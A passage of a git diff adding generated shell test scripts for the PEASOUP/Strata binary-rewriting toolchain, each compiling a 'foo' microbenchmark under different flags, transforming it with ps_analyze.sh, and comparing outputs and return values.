+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e4e4036629e60d33c1934bfe057f7f2f13c227a8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d9e8f4eadf2177f35e0bb572714fefd8968b88eb
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..54ab2592ef59119f0c48600fb83228c47733ad78
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ea9b06e72b256b5ab5898eef723246ff99fbee3c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2108101b5c0925ddf23a1917889a9a243604110d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..209a362f83d67b49ad90e3adc9a2dc4f64c037ab
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
